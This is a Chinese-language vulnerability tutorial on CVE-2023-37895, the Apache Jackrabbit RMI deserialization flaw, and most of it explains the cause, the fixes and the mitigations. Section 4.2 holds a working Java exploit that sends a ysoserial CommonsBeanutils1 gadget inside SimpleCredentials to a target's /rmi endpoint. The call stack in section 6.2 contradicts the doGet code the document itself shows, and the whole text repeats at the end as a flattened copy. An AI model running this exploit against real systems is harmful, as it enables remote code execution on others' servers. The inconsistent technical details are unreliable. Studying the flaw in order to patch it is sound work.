Apache Jackrabbit RMI 远程代码执行漏洞分析(CVE-2023-37895)
字数 2127 2025-08-24 07:48:10

Apache Jackrabbit RMI 远程代码执行漏洞分析(CVE-2023-37895) 教学文档

1. 漏洞概述

Apache Jackrabbit™ 是一个完全符合 Java 技术 API 内容存储库(JCR)规范(JSR 170 和 JSR 283)的实现。该漏洞存在于 Apache Jackrabbit 的 RMI 远程访问功能中,由于使用了存在安全问题的 commons-beanutils 组件,攻击者可以构造恶意的序列化对象,通过 RMI 服务端口或 Web 服务的 /rmi 路径发送到服务端,导致远程代码执行(RCE)。

2. 受影响版本

  • 1.0.0 <= Apache Jackrabbit < 2.20.11
  • 2.21.0 <= Apache Jackrabbit < 2.21.18

3. 漏洞原理分析

3.1 漏洞入口

漏洞存在于 Apache Jackrabbit 的远程访问机制中,具体涉及以下关键组件:

  1. RMI 服务端点

    • Web 应用中的 /rmi 路由对应 RemoteBindingServlet
    • 该 Servlet 负责处理远程存储库请求
  2. 远程认证机制

    • 客户端通过 SimpleCredentials 对象进行认证
    • SimpleCredentials 实现了 Serializable 接口,可被序列化传输

3.2 漏洞触发流程

  1. 客户端请求

    • 客户端通过 URLRemoteRepositoryRMIRemoteRepository 连接到服务端
    • 构造恶意的 SimpleCredentials 对象并调用 login() 方法
  2. 服务端处理

    • 服务端接收并反序列化 SimpleCredentials 对象
    • 反序列化过程中触发 Commons Beanutils 的反序列化漏洞链
  3. RCE 触发

    • 通过精心构造的 SimpleCredentials 对象的 attributes 属性
    • 利用 Commons Beanutils 的 PropertyUtils 相关链实现任意代码执行

3.3 关键代码分析

3.3.1 RemoteBindingServlet 处理逻辑

protected void doGet(HttpServletRequest request, HttpServletResponse response)
    throws ServletException, IOException {
    response.setContentType("application/octet-stream");
    ObjectOutputStream output = new ObjectOutputStream(response.getOutputStream());
    output.writeObject(RemoteObject.toStub(getRemoteRepository()));
    output.flush();
}

3.3.2 SimpleCredentials 类结构

public final class SimpleCredentials implements Credentials {
    private final String userID;
    private final char[] password;
    private final HashMap attributes = new HashMap();
    
    public void setAttribute(String name, Object value) {
        if (name == null) {
            throw new IllegalArgumentException("name cannot be null");
        } else if (value == null) {
            this.removeAttribute(name);
        } else {
            synchronized(this.attributes) {
                this.attributes.put(name, value);
            }
        }
    }
}

3.3.3 服务端反序列化点

public RemoteSession login(Credentials credentials, String workspace)
    throws RepositoryException, RemoteException {
    try {
        Session session = repository.login(credentials, workspace);
        return getFactory().getRemoteSession(session);
    } catch (RepositoryException ex) {
        throw getRepositoryException(ex);
    }
}

4. 漏洞利用

4.1 环境搭建

  1. 下载受影响版本的 Apache Jackrabbit (如 2.20.10)
  2. 使用 Tomcat 部署 web 应用
  3. 确保 commons-beanutils 在类路径中

4.2 利用代码示例

import org.apache.jackrabbit.rmi.repository.URLRemoteRepository;
import ysoserial.payloads.ObjectPayload;
import javax.jcr.SimpleCredentials;

public class Exploit {
    public static void main(String[] args) throws Exception {
        // 使用 ysoserial 生成 CommonsBeanutils1 利用链
        Class<? extends ObjectPayload> payloadClass = 
            ObjectPayload.Utils.getPayloadClass("CommonsBeanutils1");
        ObjectPayload payload = payloadClass.newInstance();
        Object gadget = payload.getObject("calc");
        
        // 构造恶意 SimpleCredentials
        SimpleCredentials creds = new SimpleCredentials("admin", "admin".toCharArray());
        creds.setAttribute("admin", gadget);
        
        // 连接到目标并触发漏洞
        URLRemoteRepository repo = new URLRemoteRepository(
            "http://target:8080/jackrabbit/rmi");
        repo.login(creds);
    }
}

4.3 利用条件

  1. 目标系统运行受影响版本的 Apache Jackrabbit
  2. RMI 服务或 /rmi Web 端点可访问
  3. 类路径中包含 commons-beanutils 组件

5. 漏洞修复

5.1 官方修复方案

在 2.20.11 和 2.21.18 版本中,官方移除了对 commons-beanutils 的依赖:

<!-- 修复版本中移除了以下依赖 -->
<dependency>
    <groupId>commons-beanutils</groupId>
    <artifactId>commons-beanutils</artifactId>
</dependency>

5.2 临时缓解措施

  1. 升级到安全版本:

    • 2.20.11 或更高版本
    • 2.21.18 或更高版本
  2. 如果无法立即升级:

    • 限制对 RMI 端口和 /rmi 端点的访问
    • 使用防火墙规则限制访问来源
    • 移除或替换 commons-beanutils 组件

6. 深入技术分析

6.1 反序列化利用链

漏洞利用 Commons Beanutils 的反序列化链,关键节点:

  1. 起点SimpleCredentialsattributes (HashMap)
  2. 利用链
    • HashMap.readObject()
    • PriorityQueue.readObject()
    • BeanComparator.compare()
    • PropertyUtils.getProperty()
    • TemplatesImpl.getOutputProperties()
  3. 最终执行:通过 TemplatesImpl 加载恶意字节码

6.2 函数调用栈

典型攻击时的调用栈:

Runtime.exec()
TemplatesImpl.newTransformer()
BeanComparator.compare()
PriorityQueue.heapify()
HashMap.readObject()
SimpleCredentials.readObject()
RemoteBindingServlet.doGet()

7. 参考资源

  1. 官方漏洞公告:https://nvd.nist.gov/vuln/detail/CVE-2023-37895
  2. Apache Jackrabbit 项目:https://github.com/apache/jackrabbit
  3. 修复对比:https://github.com/apache/jackrabbit/compare/jackrabbit-2.20.10...jackrabbit-2.20.11

8. 总结

CVE-2023-37895 是一个典型的 Java 反序列化漏洞,通过 Apache Jackrabbit 的 RMI 接口实现远程代码执行。漏洞利用的关键在于:

  1. 服务端无条件信任客户端提供的 SimpleCredentials 对象
  2. 存在危险的反序列化组件 (commons-beanutils)
  3. 缺乏对反序列化对象的有效验证

开发人员应及时升级到安全版本,并遵循安全最佳实践,如最小化依赖、输入验证等,以防止此类漏洞的发生。

Apache Jackrabbit RMI 远程代码执行漏洞分析(CVE-2023-37895) 教学文档 1. 漏洞概述 Apache Jackrabbit™ 是一个完全符合 Java 技术 API 内容存储库(JCR)规范(JSR 170 和 JSR 283)的实现。该漏洞存在于 Apache Jackrabbit 的 RMI 远程访问功能中,由于使用了存在安全问题的 commons-beanutils 组件,攻击者可以构造恶意的序列化对象,通过 RMI 服务端口或 Web 服务的 /rmi 路径发送到服务端,导致远程代码执行(RCE)。 2. 受影响版本 1.0.0 <= Apache Jackrabbit < 2.20.11 2.21.0 <= Apache Jackrabbit < 2.21.18 3. 漏洞原理分析 3.1 漏洞入口 漏洞存在于 Apache Jackrabbit 的远程访问机制中,具体涉及以下关键组件: RMI 服务端点 : Web 应用中的 /rmi 路由对应 RemoteBindingServlet 该 Servlet 负责处理远程存储库请求 远程认证机制 : 客户端通过 SimpleCredentials 对象进行认证 SimpleCredentials 实现了 Serializable 接口,可被序列化传输 3.2 漏洞触发流程 客户端请求 : 客户端通过 URLRemoteRepository 或 RMIRemoteRepository 连接到服务端 构造恶意的 SimpleCredentials 对象并调用 login() 方法 服务端处理 : 服务端接收并反序列化 SimpleCredentials 对象 反序列化过程中触发 Commons Beanutils 的反序列化漏洞链 RCE 触发 : 通过精心构造的 SimpleCredentials 对象的 attributes 属性 利用 Commons Beanutils 的 PropertyUtils 相关链实现任意代码执行 3.3 关键代码分析 3.3.1 RemoteBindingServlet 处理逻辑 3.3.2 SimpleCredentials 类结构 3.3.3 服务端反序列化点 4. 漏洞利用 4.1 环境搭建 下载受影响版本的 Apache Jackrabbit (如 2.20.10) 使用 Tomcat 部署 web 应用 确保 commons-beanutils 在类路径中 4.2 利用代码示例 4.3 利用条件 目标系统运行受影响版本的 Apache Jackrabbit RMI 服务或 /rmi Web 端点可访问 类路径中包含 commons-beanutils 组件 5. 漏洞修复 5.1 官方修复方案 在 2.20.11 和 2.21.18 版本中,官方移除了对 commons-beanutils 的依赖: 5.2 临时缓解措施 升级到安全版本: 2.20.11 或更高版本 2.21.18 或更高版本 如果无法立即升级: 限制对 RMI 端口和 /rmi 端点的访问 使用防火墙规则限制访问来源 移除或替换 commons-beanutils 组件 6. 深入技术分析 6.1 反序列化利用链 漏洞利用 Commons Beanutils 的反序列化链,关键节点: 起点 : SimpleCredentials 的 attributes (HashMap) 利用链 : HashMap.readObject() PriorityQueue.readObject() BeanComparator.compare() PropertyUtils.getProperty() TemplatesImpl.getOutputProperties() 最终执行 :通过 TemplatesImpl 加载恶意字节码 6.2 函数调用栈 典型攻击时的调用栈: 7. 参考资源 官方漏洞公告:https://nvd.nist.gov/vuln/detail/CVE-2023-37895 Apache Jackrabbit 项目:https://github.com/apache/jackrabbit 修复对比:https://github.com/apache/jackrabbit/compare/jackrabbit-2.20.10...jackrabbit-2.20.11 8. 总结 CVE-2023-37895 是一个典型的 Java 反序列化漏洞,通过 Apache Jackrabbit 的 RMI 接口实现远程代码执行。漏洞利用的关键在于: 服务端无条件信任客户端提供的 SimpleCredentials 对象 存在危险的反序列化组件 (commons-beanutils) 缺乏对反序列化对象的有效验证 开发人员应及时升级到安全版本,并遵循安全最佳实践,如最小化依赖、输入验证等,以防止此类漏洞的发生。